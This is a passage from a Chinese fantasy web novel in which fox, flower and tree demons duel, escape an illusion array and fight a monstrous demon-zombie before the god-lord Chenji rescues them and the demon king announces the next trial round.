“你,别——”莫问被迫后退,又飞上那棵树,“我哪里招你惹你了?”
符枝咬牙道:“你这胆小鬼,真不知道母亲到底看中你什么了?”
“……三公子,你要搞搞清楚啊,你母亲邀请的是谌己帝君,我就是来打酱油的,你得分清楚啊!”
“哼!我不管他们,碰巧你也进了第二轮考测,那我们就先来比一比。”
“你!”莫问再次躲开一击,“三公子,今日我可是客人!”
“无妨,只要不杀了你就好。”
符枝的兵器是一把长剑,快要与他六尺的身高持平,“出手吧。”
莫问蹙眉,眼间堆了些不耐,“我无意与你对抗,也不擅长玩这些你死我活的游戏。”
“这可由不得你。”符枝道,“你若是不和我打一架,就别想出去。”
“欺人太甚!没想到大名在外的妖王三公子,竟是只赖皮狗,你最好让我活着出去,不然我会告诉全天下的人。”
“随你。”符枝手指一点,悬在莫问额间的妖气越发浓重。
朝临道:“莫问,他给你下了术法,你小心些。”
莫问双手翻转,掌间妖气流动,转眼间,那股属于符枝的气息便消失了。
“我说怎么一进这个院子就心神不宁的,原来是三公子给我下套了。”符枝的做法显然已将莫问激怒,他身后悬起了通天的红光,“符枝,你那点摄心术我都不想说,手指一抬就破了,不如来试试我们九尾狐的魅术。”
莫问眼露红光,符枝本借力席来,却在空中猛然悬停。
二人皆顿。
下一瞬,两股妖气陡然相撞,即刻炸开,院子里的草木无一幸免。
莫问占了下风。
后退,下摔,半跪。
朝临小声道:“你打不过的,想办法快溜走。”
莫问白她一眼:“要是能跑就好了,我肯定不会管你死活。”
朝临道:“我试试感应帝君。”
莫问:“还不快点,他要是动真格,我们俩都得死。”
莫问重新站起,张开双臂,红色妖气翻滚,他从其中拿出一样东西,那是一根长棍。
符枝笑道:“有意思,你们九尾狐一族的兵器总是这么不一般。”
莫问道:“哦?除了我之外,三公子还见过其他的九尾狐?”
符枝点头,“我觉得你比他,厉害一些。”
说罢,他高举长剑,直向莫问。
而莫问,不知是被吓到,还是另有所谋,竟干站着不动。
长剑越发近了,就在符枝面露疑惑之时,莫问将长棍横拿,那长棍竟变为了一根长鞭!
莫问一闪,将长鞭缠上符枝。
符枝快速反应,一个缩身术,竟从鞭中退了出来。
“枝儿,莫要对客人无理。”
约莫是戏看够了,孟鸾终于现身打断。
朝临循声而去,望见谌己的眼睛,接着她便朝他飞了过去,谌己将符枝的禁制破掉,拿下朝临头上的落叶,道:“难得他们还记得你手无缚鸡之力。”
朝临笑笑,经此一遭,他觉得谌己比符枝要友善太多了。
“还是帝君好。”
谌己垂眼瞧着她,问道:“受伤了吗?”
朝临摇头,“三公子并不针对我。”
“伸手。”
朝临便将手摊开。
谌己温热的指尖在她掌心短暂停留,一个印记凭空出现。
“这是?”
“一把短刀,以后就拿着它防身。”
朝临有些意外,但更多是惊喜,她恨不得将谌己抱进怀里,然贼心撑不起贼胆。
“谢谢帝君!”她欢快道。
那面,莫问与符枝各自收好武器,相对而立。
孟鸾对莫问道:“莫问公子,我这就去管他禁闭,招待不周,还请见谅。”
莫问道:“殿下,紧闭就免了吧,三公子并未伤到我,况且第二轮考测近在眼前,我不想伤了他的锐气。”
孟鸾本是随口一说,没成想这个年轻人会这么较真,竟威胁起她来。不过心中再是愤懑,她也不会表现出半分。
“你什么意思?是你先闯我宅院在先,现在反倒怪起我来,你怎么这么无理?”
“三公子,虽然你能耐通天,但也不能这样欺负我吧?我闯入第二轮已经很不容易了……”
这厮竟卖起惨来。
朝临与江残月对视一眼,双双憋不住笑。
“你恬不知耻!”
“好了。”孟鸾加重语气,“枝儿,向人赔罪。”
符枝倒是听话,不情不愿地同莫问道了歉。
设席地只与符枝的玉兰苑一墙之隔,穿过一小片海棠林便到。
当管弦丝竹纷纷上殿,众人才意识到这不是一场简单的邀请。
据承光所说,坐在他们对面的都是妖族皇室,尤其是那最靠前坐的一位,是妖族大长老,纵是孟鸾,都要忌惮他几分。
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江残月自进席以来,面上就带着些漫不经心,谁与她说话,她都只是淡淡应下,并不多说。
朝临怕她憋出问题,主动问:“残月,今日妖王叫我们来做什么呀?”
江残月摇头,“我不清楚。”
“你不吃些东西吗?”
“我不饿。”江残月将装鸡腿的碗端给朝临,“你吃吧。”
朝临看了眼那个鸡腿,又看了与众妖周旋的谌己,他似乎感受到她的注视,视线一转。
“怎么了?”他问。
“帝君,江残月她怎么了?最近总是怪怪的。”
“你让她多吃些东西。”
谌己这是,在关心江残月吗?
“怎么,做不到?”
“没有,她说不饿,我劝不动。”
“那就想办法,一定得让她吃下去。”
“……”
与谌己隔空说了这么几句话,朝临食欲大减,到嘴的鸡腿都不香了。
江残月默默离场,她赶紧端着碗跟了出去。
“朝临,你进去吃吧,我不饿。”江残月苦笑道。
朝临道:“不吃东西,半夜会饿的。”
“我不怕饿。”江残月随意找一个石阶坐下,望着天上的圆月,问道:“朝临,你相信缘分吗?”
朝临在她坐下,道:“相信啊。”
“我也相信,我相信这世上有最澄澈的感情,能跨越时间和空间。”
朝临觉得江残月在向她索求一些安慰,于是在脑中理了理思绪,道:“残月,虽然我不知道你最近是怎么了,但是我由衷地希望你能开心,不要为了一些莫须有的事情感到烦恼。”
江残月忽地笑了,揉了揉朝临的头,“虽然你比我多几百年的修为,但我活的时日比你久,准确来说,你可以叫我声姐姐,你真可爱。”
“你就别打趣我了。”朝临道,“可以跟我讲讲,你到底怎么了吗?”
江残月盯着地上某处看了很久,道:“我在等一个,可能永远都不会回来的人。”
“他,死了吗?”
“我不知道。”江残月瘦得只剩骨架子的身体在月色下显得尤为孤寂,“或许他已经死了,不然这世间怎么会没有他的气息。”
朝临眼睛一酸,几乎要与江残月共情:“那是谁?”
“我的爱人,我,想要携手一生的人。”
朝临将江残月揽进怀中,她越发瘦了,如果此刻有阵风,那么她肯定会被吹走。
“那我们就一直找,妖界找不到,就去鬼界和魔界找。”
江残月脸上挂上了泪珠,顺着她的脸颊流在朝临的衣裳上。
“嗯,那就一直一直找下去,就算是死了,我也要去地府找到他。”
“嗯!我我陪你一起。”朝临把饭碗送到她眼前,“吃饱了才有力气找。”
江残月道:“朝临,我不想吃。”
“你要不吃点吧,你不吃,帝君会怪我的。”朝临有些委屈。
“帝君怎么会怪你?”
朝临如实道:“他让我一定劝你吃点东西。”
江残月坐正身子,思索片刻,接过碗,道:“既如此,那我便吃吧。朝临,你看着我。”
朝临扭头,江残月眼疾手快地在她额间点了点。
她感觉到丹田之处颓丧的真气正慢慢重聚,浑身都充满了气力。
“怎么回事?”她讶然。
“这便是帝君的打算。”江残月道,“妖王给我们都备了房间,我回去吃,你快进去,晚了就全被莫问抢了。”
12. 花妖
朝临坐回桌前,满腹疑问地吃饭,莫问端着壶酒来,问:“残月呢?”
朝临道:“回去休息了。”
“她都没吃饭,不行,我要给她送……”
“你去凑什么热闹。”朝临将他拽回来,“我给她送过了。”
“好吧。”莫问一屁股在朝临身边坐下,“这酒好喝,你要不要试试?”
承光将酒壶拍开,道:“朝临喝不了酒,你自己喝喝得了。”
“你个死脑筋,少管我。”莫问护好酒壶,“来,拿酒杯。”
“我陪你喝。”承光拿酒壶与莫问手中的碰了一碰,“就一次。”
莫问嗤笑:“死脑筋……”
二人将各自壶中的酒一饮而尽。
朝临给承光倒去一杯茶,道:“承光,你不用管他,还伤了你的身子。”
承光笑道:“无碍,我帮你喝了,他就不再缠着你了。”
莫问:“别在这演你的苦情戏,要喝你去找符枝喝。”
“谁在叫我?”
符枝挡住了莫问的大片视线,甚至遮挡住了落在他脸上的光,在很短的时间内,莫问的脸由白变成了黑。
“谁叫你了。”
“哼。”符枝不再给莫问脸色,将酒壶转向承光,笑道:“承光兄弟,久仰大名啊。”
承光忙起身道:“三公子谬赞,早闻公子大名,今日一见,公子果然如我想象的那般英勇神武,不夸张地说,甚至还要多上几分侠气。”他为符枝斟好酒,“三公子可愿与承光共饮一杯?”
莫问小声对朝临道:“马屁精。”
朝临撞开他,“你闭嘴吧,惹祸精,你是不是还想和符枝打一架?”
“我在说事实。”
承光与符枝谈妖族近些年的暴乱,朝临与莫问默默听着,不知不觉间竟喝完了一壶酒。
朝临有些困,但头脑还是顶清醒的,莫问一早就睡了过去,她推他,他还怪她扰人清梦。
朝临不再管他,托着脸环顾四周,当目光落在谌己身上时,就再也动不了了。
迷迷糊糊间,她看见谌己朝她走来,“帝君?”她其实已经不确定是谁停在她眼前,“我们可以走了吗……”
再然后,她眼前一片漆黑,沉沉睡了过去。
是夜,朝临被一阵重急的敲门声唤醒,许多声闷响过后,有人喊道:“朝临,你快出来!”
朝临蹙眉,对着门口:“你要干什么?”
莫问道:“有动静,你赶紧出来看看。”
朝临怕他吵醒院子里其他人,咬着牙将门拉开,莫问露出十齿,“我实在睡不着,只能来找你了。”
朝临:“有屁快放。”
“我方才发现有人在监视我们。”莫问抱臂,盯着院子西南角,“往那处去了。”
“那关你什么事?”朝临将双手扶上门框,“你若实在无聊,就去屋子里寻两本书看,大半夜扰人清梦,是要遭天谴的。”
“不是,那来人真的……”夜色下,莫问脸色一沉,“你听!”
“你干……”
有人腾空而起的细微动静。
“是符枝。”莫问小声道,“跟上去。”
朝临怕他一人真的死在路上,咬咬牙跟上去,二人一路蛰伏,紧跟符枝,这才发现妖王殿有处地下通道与外界相连。
穿过一片繁茂的树林,映入二人眼帘的是一座山崖,下方漆黑一片,魅影重重。
“符枝怎么凭空消失了?”朝临道。
“妖界多异山,我们中计了。”
“中计?”
“那厮善用摄心术,应当是发现有人追踪,设下阵法等着我们跳进去。”
朝临用谌己前些日子教她的堪破术瞧了瞧,并未看出山崖有何不同。
“符枝修为远在我二人之上,我看不破。”
“自然,他已达黑气之境,我拿他都没办法。”
“不如我们往回走看看?”
“你可以试试。”
朝临不死心地往回走,兜兜转转,竟走不出那树林,只能往回走,莫问见她,笑问:“走不出去的,他设了个迷魂阵,等天亮吧。”
“天亮后阵法就会自破吗?”
“不,天亮后谌己会发现我们不见了,肯定会来救我们。”
“……”他会撕了他们两个。
莫问掏出江残月的匕首,双手用力,刀刃出鞘,划过他修长的左指,而他面色不变,悠悠然借着那血色与空中画出一个复杂图案,再将图案往地上一拍——大地震动!
莫问道:“此处是幻镜,但是蒙着一层厚重的雾气,我看不清,我来控场,你想办法找到阵眼。”
山崖慢慢在朝临眼前消失,取而代之的是一片淡紫色的雾气,她试着与它交流,良久,有个虚弱的声音传入她的脑海:
“姑娘,你倒是个厉害人。”
朝临道:“前辈,还请放我们一马。”
“恕难从命。”它道,“三公子让我好生款待你们,做不好,我可是会死的。”
“……”
真是一团衷心的,说一不二的妖气。
“那你给我指条明路吧,这万一蹦什么大妖来,我跟莫问可就没命了,我们要是死了,三公子也不好交代啊。”
“此处是常有恶妖出没。”妖气道,“罢了,破此阵很简单,你只需往前看,看久一点。”
“什……”
那妖气将朝临推出来,她扭头,莫问一直保持着动作。
“问出什么了?”
朝临道:“你停下吧,我试试。”
莫问收手,转悠到朝临身边,循着她望的方向,左看右看,“你……”
“闭嘴。”
那妖气说要向前看,向前是无尽的山崖上空,看久一些,依稀能能看见漂浮的妖气。
“有些阵法往往会将人逼到极致,可能会凭空出现冰川或烈火,也可见空中楼阁或万丈高崖,这些固然使大部分人望而生畏,短时内失去判断。”
“越在这时越需冷静,这世间没有那么多凭空出现的东西,当你发觉它们难以用常理推测时,它就是假的。”
“而当你知道它是假的时,你只需——迎上它。”
谌己的话在朝临脑子里回荡,她觉得自己好像找到了破局关键,于是看向莫问:“你信我吗?”
莫问:“当然。”
她抓着莫问的衣角,带着他毫不犹豫地跳下山崖。
并没有想象中的剧痛,此刻他们脚踩一片实地,应是从符枝的术法中出来了。
“好你个符枝,
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弄这么大一出,原来是不想让我们发现这么个好地方。”
莫问对着眼前这座玉山露出垂涎三尺的狼狈表情。
在夜色下,玉山散发出淡淡的翠绿色光芒,吸引着欣赏它的人驻足。
“小心再中个什么阵法,我可不会救你。”
莫问顺手拾起快玉石,没听见似的,“拿回去给残月做个坠子。”
“……”
“走吧,那只心高气傲的狼妖就在附近。”莫问脚步一顿,“美人相伴,我们不要过去了吧?”
朝临眨了下眼,“啊?”
莫问仔细听了一听,又改话术:“他们竟如此激烈……”
“你个变……”
“我说他们在打架,真刀真枪的那种。”
“那还不去看看!”
朝临简直要被这厮无语死。
莫问很快找到符枝所在之处,只见他与一个红衣女子打得不分高低。
莫问阴阳道:“也算是让他遇到对手了。”
朝临道:“这女子竟是花妖,我前些日子也认识了一个花妖,不知道她们彼此是否认识……”
莫问:“你觉得他们什么时候能停?”
“我不知道啊,反正我没法插手。”
“我也是。”
莫问话音刚落,符枝那边就冲冲传来一句:“还不过来帮忙?”
莫问让朝临去,朝临白他一眼。
就在两人纷纷打算远离纷争之时,那女子主动停了手。
她冷眼扫过无动于衷的来人,道:“承认吧,你打不过我。”
符枝啐了一口,“我不需要打过你,我只要你死。”
莫问:“三公子,怎么天天喊打喊杀的,莫要伤了众妖之间的和气啊。”
符枝道:“她半夜潜入妖王殿,不知偷听了多少机密,就这让她死了还算是我宽宏大量了。”
“……”莫问同情地望了望那只花妖,对着她道:“那我没办法了。”
花妖有一双媚眼,媚眼中始终闪着不屑的光,她道:“你认为我需要干这种偷鸡摸狗的事吗?”
这话是对着朝临说的。
朝临总觉得她的眉眼有些熟悉,暗念这莫不是那只叫芷凌的花妖的家人。
朝临自然不敢说什么带有判定意味的话,只说:“这位豪杰,有话我们好好说,在这里猜来猜去的,对大家都不好。”
花妖道:“我倒是想好好说,你看这位三公子他答应吗,一来就要杀我,这是他的地盘,我只能先防身。”
符枝道:“少给我颠倒黑白,你夜闯妖王殿,死罪难逃。”
“好!捉拿擅闯者是你们皇室的事,让他们二人先走,你,单独跟我较量。”
莫问道:“我们现在走不得啊,你死了还好,可若死的是他,明日那妖王不得把我们碎尸万段?”
符枝冷哼一声,“我不会死。”
花妖道:“最喜欢你这种自不量力的妖。”
“……”眼见着两人浑身妖气暴涨,朝临道:“你不妨说说来妖王殿的目的,我们三公子是非分明,你若是有苦衷,他定不会追究,妖族需要像你们这样的强者,妖王若是知道你们针锋相对,定然会痛心的。”
符枝道:“如果你能给出一个理由,我便放过你。”
13. 这可是大人情!
“我来寻一药修。”
花妖道。
符枝:“寻药修做什么?”
花妖解释道:“前些日子我妹妹被一老道抓去,吓破了胆,我来找那药修拿治病的方子。”
符枝道:“为何要半夜前来?”
花妖:“你去问那药修。”
朝临心间一动,问道:“你妹妹可是叫芷凌?”
花妖的媚眼半眯,反问:“你是那树妖?”
“对!”
莫问凑过来:“你什么时候又变成树妖了?”
“……说来话长。”
花妖眼中露出些平和,她道:“芷凌一直记得你,有机会的话,去我府上吃顿饭吧。”
“好啊。”朝临道。
花妖再度望向符枝,“你还要杀我吗?”
符枝问朝临:“你所说当真?”
朝临点头:“你可去问帝君。”
符枝脸色稍有缓和,收了长剑,“你走吧。”
“不走。”
“你!”
“那药修还没将方子给我,他收了我很多钱。”
“……”
莫问:“敢问女侠,你所说的这位药修是?”
“是个男子,我不知道他姓甚名谁,只记得他的样貌。”
“如此甚好。”
花妖鄙夷地瞧他一眼,问朝临:“你叫什么名字?”
“我叫朝临。”
“我叫芷禾。”她道。
“好。”
“那个,我叫莫问。”
“……”
芷禾对符枝没有好脸色,语气始终冰冷,“三公子,还请通融,家妹失魂症愈发严重,拖下去恐危及生命。”
“入妖王殿须得……”
符枝停下言语,因为他也清晰地听见了,那自不远处传来的低吼声。
“你们,有没有听见什么在叫?”莫问道。
芷禾道:“那是什么声音?”
符枝道:“未曾听过。”
“吼!”
吼声越发近了。
似某种来自地底的声音,低沉、厚重、可怖。
在整片的夜色中,蕴藏着无尽的未知。
危机四伏,符枝尚且顾大局,对芷禾道:“你和我们一同,先回妖王殿。”
芷禾点头。
众人欲离开此地,却都在同一时间瞧得朝临面色大变,只见她指着暗夜中的一处,声音颤抖:“你们,你们看那……”
那是一双暗红色的巨眼,镶嵌在与黑夜几乎融为一体的,乌黑的皮肤当中,待它缓缓走出黑暗,根本无法从中找出一处完整的皮肤。
似人非人,高约十五尺,面部糜烂,目露凶光,口吐獠牙。
芷禾蹙眉,“这是什么?”
符枝道:“你们先走,我先将他困住。”
“这东西气息紊乱,已然不是妖,你……”
“是妖僵!”莫问吼道,“三公子,你不是他的对手!”
芷禾唤出她的武器,那是一根通体绯红的玉笛。
“这不是妖族的禁术吗?”
“通常是成对修炼。”莫问警惕地扫向四周,“那么,还有一只呢?”
此话一出,除眼前的棘手,躲在暗处的危机才更令人感到胆寒。
符枝道:“为我护法。”
三人将符枝围在中央,他翻身悬空,口中重念:“天!”
“罗!”
“地!”
“网!”
巨大的网便悬在那只妖僵头顶。
“落!”
天罗地网将妖僵困住,它发出愤怒的嘶吼。
天罗地网被妖僵狠狠撕咬,符枝道:“快走!”
可未等众人逃远,那妖僵已然突破天罗地网,下一瞬,一股巨力将几人掀翻。
“吼!”
也许是天罗地网将这妖僵彻底触怒,他竟在一瞬间变幻成妖的形态。
一只黑狐。
一只硕大的黑狐,红眼獠牙,甚是可怖。
朝临撞在巨石上,还未喘过气,又被那妖僵的巨尾扇飞,好在芷禾拉她一把,才不至于被摔得四分五裂。
符枝抽出长剑,三两下绕到妖僵身后,奋力一砍——
“铿!”
长剑被震飞,符枝艰难稳住身形。
芷禾道:“不要跟它打,想办法离开!”
莫问道:“逃不了,看见那双眼睛了吗,它会追踪。”
“?”
“妖僵之所以被禁练,就是因为它那双眼睛上超强的追踪能力……”
妖僵伸长巨爪,一把将符枝掀飞,连带着他身边的莫问一同被碾进土中。
芷禾吹响玉笛,那妖僵茫然一瞬,迅速朝她飞去,眼中凶光一闪,竟令芷禾双眼喷出血来!
“朝临,去叫妖王!”
她用尽最后的力气,将朝临往来时路推,朝临重重砸地,听见身后不止的打斗声,口中就要吐出血来。
她爬起来,眼前朦胧,忽闻熟悉气息,那股属于谌己的冷冽。
“朝临!”
“呕……”
朝临一口血吐在了谌己的黑衣上。
“帝君,他们,他们有危……”
谌己赶到那个禁地时,那三只妖都被打趴在地。
莫问见他,无力道:“帝君啊,快收了它……”
谌己废了好一番力才将那只畜生撩倒。
孟鸾匆匆赶来,用圣器将妖僵捆绑好,看了眼地上躺着的半死不活的三妖,道:“多谢帝君,我这就……”
而谌己头也不回地离开了,眉头紧促,这让孟鸾不免心虚。
朝临醒来时,天还是黑的,浑身酸痛,根本不得动弹。
没有人在,她渴得紧,于是出声喊,不料嗓子也变得沙哑,“有人吗?”
“……”
“我要死了!”
“快来救救我……”
“哐!”
门猛地被推开,谌己挂着比过夜馊菜还要臭的脸进来。
朝临呼吸一滞,不好的记忆涌上大脑,如果可以,她希望找个地缝钻进去。
“帝,帝君……”
谌己居高临下地瞧着她,这是他第一次将“愤怒”明显地表达给朝临。
“那夜,你为何要跟莫问出去?”
那夜?
这是过了多久?
朝临道:“我怕他死了。”
这明显不是谌己想要的答案,从朝临的角度看去,他脸色越发难看了。
“你是嫌自己活得太久了吗?”谌己冷言道,“想死就干脆点。”
朝临有些被吓到,加之身体上的痛楚,眼中溢出些热泪来。
“帝君,我正是因为想活命,才不想让他死的。”
谌己睫毛颤了颤,落下来的视线收敛一部分。
“他要是死了,就没有人给我造脉,到那时我就必死无疑了。”
谌己道:“青丘山总有人会。”
“帝君,我用界铃试过。”朝临缓缓道,“就是莫问。”
那时莫问正在江残月院子里喝闷酒,不一会就沉沉睡去,她往界铃里注入真气,界铃引着她停在莫问身边。
自那时起,她便想着,无论如何都要保住莫问,她一定要好好活下去。
谌己不再同她说话,走到桌边装来一杯茶,冷冷看着她:“想喝水?”
“……嗯。”
“起来喝。”
“帝君,我起不来。”<
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p>朝临眼巴巴地看着谌己,二人僵持了一会,谌己将茶杯放在一边,将手放向朝临脑后,朝临抖了抖,谌己喝道:“别动。”
他将她半抱起,让她靠在他怀中,一反常态,动作极轻地喂她喝水。
“帝君,我还想……”
“不能再喝了。”谌己将她放下,“你会受不了。”
“好吧。”朝临有种异样的感觉,她就那么瞧着谌己,忽然觉得他是世间最好的人。
“看什么。”谌己打断她的胡思乱想,“躺好。”
翌日,朝临才知道自己昏睡了整整三日。
江残月为她煮来药,道:“小朝临,快些将同命蛊除掉吧,除掉就能修炼,就不用受这些委屈了。”
朝临道:“这几日给你添麻烦了。”
江残月摇头,道:“我倒是不麻烦,救你命要用的药草,是帝君找回来的。”
又是他。
朝临陷入一阵短暂的失神,忽然听见莫问的声音:“醒了啊?”
江残月点点头,又道:“你药喝了吗?”
“承蒙残月姑娘,我已无大碍。”
“嗯。”
江残月端着药壶进了厨房,朝临问莫问:“帝君呢?”
“妖王一大早就将他与承光叫去大殿了。”
“哦。”
“朝临。”
“嗯?”
莫问搓搓手,左看右看,憋出一句:“这次是我不对,我欠你一个人情。”
朝临看他一眼,抱怨道:“每次跟你出去我都要受点伤,一个人情哪里够……”
莫问面露惭愧,“好像也是……那这样好不好,待我坐上妖王之位,第一时间就为你造脉,纵有再大困难,我都要做到。”
“我同意。”朝临道。
谌己与承光在晌午时赶回来。
妖侍们端来的菜将整张玉桌放满,看得朝临直流口水。
他们几人相处起来没有什么讲究,饿了就吃,少了就抢,等朝临把这几日胃里缺掉的东西补回来,莫问依旧一副怏怏的表情。
她问他怎么了。
他说问心有愧。
当他想喝口茶时,谌己会将茶壶拿走。
当他想吃口肉时,谌己会将他看中的那块夹给别人。
当他想吃口糕点,谌己会问江残月想不想吃点……
莫问自认理亏,闷闷不乐地吃着素菜,唯恐惹怒了谌己。
“三公子,芷禾去哪里了?”
朝临问道。
符枝道:“她找到了那个药修,拿着方子回家了。”
承光问道:“朝临,你与那花妖很熟吗?”
“嗯,还记得你第一次见我吗,当时那老道抓了两个人,另一个就是芷禾的妹妹。”朝临说着便叹气,“只是那只小花妖被吓到了,到现在都没好。”
承光:“芷禾找的那药修能力通天,你就放心吧。”
“其实当时我也被吓到了,包括他吸我真气时,我是真的觉得我要死了。”朝临看向谌己,“也不知道最后怎么又活过来了。”
谌己看她一眼,似乎不愿同她讲话。
莫问道:“活下来就不要管那些曲折,伤神。”
符枝道:“非也,救人讲因果,被救人也要讲,如果是我,一定会找到恩人,再当面跪谢。”
莫问:“那你赶紧跪下来谢我。”
“你倒是不配。”
“哎哟,你这死……”
“莫问。”
莫问这么久的佯装在此刻崩塌。
“帝君,我在。”他苦笑道。
谌己现下一见他这张脸就有止不住的怒气,又因着有利所图不能掐死他,只能丢下一句:“下回想死就自己去,不要拉上其他人。”
14. 拥抱治疗法
“……”
“我错了!”莫问清嗓,“朝临,我错了!”
“此后,我定为你当牛做马,在所不辞!”
听得朝临无比尴尬。
“闭嘴吧你。”她咬牙切齿道。
莫问一脸惶恐,“你原谅我吗?不原谅就等着我被帝君殿下杀了吧……”
朝临见谌己冷冷扫了莫问一眼。
“那你可要做到啊,我的脉若是造不成,你就以死谢罪吧。”
莫问:“好啊,做不到我就和你一起去死!”
谌己在众人屏息凝神下愤然离去。
朝临道:“都怪你!”
莫问道:“这怎么能怪我,是他自己图不痛快。”
承光道:“再说把你嘴给缝上。”
江残月道:“好了,帝君也是心系你们安危,都少说两句。”
莫问乖乖点头,末了又问:“谌己平常做派老练,嘴上从来得理不饶人,却长着一张清峻年青的脸,性格也不似我见过的另一位帝君那般温和,他多大年纪?”
此话一出,另外四人纷纷思考起这个问题。
朝临从未听神侍们讲起过谌己的年纪,江残月身为人族自然也不知道,符枝一心扑在修炼上,貌似对这些也不得而知。
承光缓缓放下筷子,道:“你以为帝君多少岁?”
莫问猜想:“得有四万岁吧?”
“……”
“五万岁?”
“帝君是神界最年幼的高位者。”承光道,“至今只经历过七千年的星辰变幻。”
莫问讶然:“他竟才七千岁?”
江残月道:“帝君果真年轻有为,据说是因为携众神解决了仰众之祸,神界破格授他帝君之名。”
承光眼中透出向往的光芒,他道:“仰众之祸只是帝君众多荣耀中的一个,他是我见过的,最出色的神。”
莫问:“……那他怎么不去当天帝?”
符枝道:“天帝之位乃是天道所邀,现任天帝福泽万民,天道选择了他,怎能随便易主。”
朝临问道:“当年,魔王仰众到底做了什么,为何会引得五界大乱?”
承光于是缓缓与众人讲起那时惊动五界的仰众之祸。
江残月问道:“所以,那仰众的独子是还活着吗?”
符枝道:“我听妖族长老们说,似乎在战乱时被仰众送走了,几百年都难寻踪迹。”
“相传那魔王之子也是天之骄子,自小悟性通天,若是成才后重走魔道,怕是难缠。”
故事听尽了,莫问把这些年听过的传言托出,引得朝临鄙夷道:“你不是什么都不知道吗?”
“坊间传闻,我们妖族离魔族最近,想知道很简单。”
“莫问说的对。”江残月道,“我在黑石山附近住了近十年,也听到过不少魔族的事。”
朝临从许多人嘴里听过魔族,那儿给她的印象可不太好,她暗自祈愿根与心所在之处并非魔界。
…
第二轮考测前日,妖王将一众竞选者召集到妖王殿大殿,偌大的殿堂站下百余人竟也不显得拥挤。
在高处象征着权势的座椅上睥睨众人的孟鸾目光如炬,示意众人息声。
待殿堂安静下来,半空中缓缓呈开一面“进阶者名单”,众人齐齐望去,片刻后哄声四起,有的人因为没有上榜,当即提着武器悻然退殿,有的则恶狠狠地瞪一眼上榜的同僚,愤愤离去。
朝临仔细瞧了瞧,没成想莫问竟拿了个第三的位置。
排在头名的是那章传,落在章传后面的是芷禾。
朝临一行人在侧殿侯着,面对殿内混乱的形势,都看得很淡。
“帝君,莫问第一轮似乎还不错。”朝临分析道。
“嗯。”谌己应声,“他虽轻浮,却也有能力。”
“帝君当真这么看他?”朝临以为谌己一贯厌恶莫问,“他若是知道自己得到如此高的评价,定然高兴地睡不着!”
承光道:“那你还是别跟他说了,否则这第二轮他就过不了了。”
“第二轮,很难吗?”江残月问道。
谌己道:“妖王昨日找我议事,临时将第二轮考测规则稍作修改,主要为了擒那另一只妖僵。”
朝临问:“帝君,具体是做了什么修改?”
“原先只许各竞选者四人成队,现下允许每队各加四位随行者,只是要求随之也更高。”
江残月问:“怎么说?”
“妖王原从妖狱中放出几只被训化过的恶妖,但那些妖皆被未训所吞,未训不知用什么法子找到了妖界潜逃千年的五只恶妖,联合他们在边境地带大肆做虐,妖王怕他们引起动乱,加之那个躲在暗处随时成为祸患的妖僵,不得不出此下策。”
承光道:“帝君,那这些人岂不是都处在极大的危险之中?”
“这是他们的使命。”谌己语气沉了沉,“承光,如果有一日你要为神族安定而出征,还会这般优柔寡断吗?”
“……”承光想起刚入师门那日,谌己坐在高台之上容光集于一身的模样,从那时起,他便暗暗许下心愿,一定要成为像谌己一般的神,对于谌己的反问,他自是毫无犹豫:“我会义无反顾。”
“既如此,你又为何要质疑他们的想法?”
待出局者纷纷离去,妖官将第二轮考测规则宣读至大殿每一个角落,有人道:“为何这次变了?”
一时间,众说纷纭,哄闹声响彻大殿。
“安静。”
孟鸾的声音有种压迫感,底下众妖无一不闭上嘴。
“我知道你们心中不解,好好的团体行动还要塞些人进去,但这是大势所趋,我放出的几只恶妖被贼人所杀,那贼人又联合我妖族潜逃千年的五大恶妖,来势汹汹……”
“诸位都是妖族勇士,你们当中不乏善于谋略的人,也不缺骁勇善战的人,而今我族即将陷入水深火热之中,各位勇士又怎愿当了逃兵?”
“前路凶险,我尊重各位的选择,如想退赛,稍后可自行去妖官那处销毁名字。”
“……”
孟鸾给了正彷徨的竞争者们半柱香的时间,待香烧尽,竟无一人到妖官处销毁名字。
孟鸾眼中饱含热泪,妖官则继续说明组队规则。
“同行者身份不限,在捉妖过程中,除生死攸关之际,其余时刻不可使出自身功法的三成,妖王与众妖官会随时关注,如有犯者,则整队失败。”
组队并无约束,众妖可随心随意,过不久,符枝与莫问赶到侧殿,身后跟着芷禾与章传。
谌己道:“这就好了?”
莫问心念,这不是你一手安排好的吗,在这里装什么。
可他着实惧他,只能笑嘻嘻道:“对啊,我与这三位英雄,可谓是不打不相识。”
章传微微躬身,道:“我姓章,单名一个传字,大家多见谅。”
朝临道:“你好,我叫朝临,接下来会与你们一同前往。”
章传始终一副温和的姿态,与众人一一相识。
“我与承光、朝临都会随你们一同,章传,你可有合适的人选?”
谌己虽在问他,可任谁听了都觉得这话并未带着友好,章传心思深沉,显然也听出他的话外之音。
“我没有。”他道。
谌己又问:“芷禾姑娘可有?”
芷禾喜独来独往,也说没有。
当夜晚降临,朝临一人爬上妖王殿最高的楼阁,望着在夜色下稍显孤寂的繁城,一时心有恍惚。
化形以来,发生的任何一件事都足以令朝临心力交瘁,按理来说,她早该被打趴下。不过她很
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幸运,遇见了一群很好的人,这些人在很多个她要崩溃的瞬间肯扶她一把,让她获得了很多个重生的机会。
尤其是谌己,这个面冷心软的帝君。他总是呛她,似乎非常厌恶她,但每回都是他跟在后面收拾烂摊子,末了,还免不去被暗地里骂两句……
“谌己……”多么好听的名字。
朝临还从来没有念过他的名字,只敢对着夜色轻唤,忽觉一股奇异的感觉在全身流动,惹得她又不轻不重地唤了一声。
“谌己。”
她慢慢地、轻柔地念,幻想着谌己听见她唤他名字的反应,想着想着,竟有些想笑。
而她确实笑了出来,又想唤他名字,身后却突然响起谌己本尊那从不带感情的声音:“大半夜不睡觉,跑这里来喊我名字,你是闲得慌吗?”
“……”
如果可以,朝临真想跳下去,一了百了。
她僵硬地转过身子,视线在触及谌己那探究的目光时骤然缩回,看向别处,道:“帝君,你怎么也上来了?”
谌己向前一步,道:“你喊这么大声,想不听见都难。我以为你在上面寻死呢,临走前还在喊我名字。”
朝临摆手,忙否认:“不是不是,我就是睡不着来上面透透气。”
谌己若有所思地问道:“那你唤我名字所谓何意?”
他还真是被她唤上来的?他听力这么好吗?
好吧,他是什么境界的神……他可是神界的天之骄子。
“我……”朝临眼睛转了转,“帝君,其实我是有点害怕,听说那五只恶妖并不好对付,我修为又浅,怕拖了后腿,又怕死在妖界。”
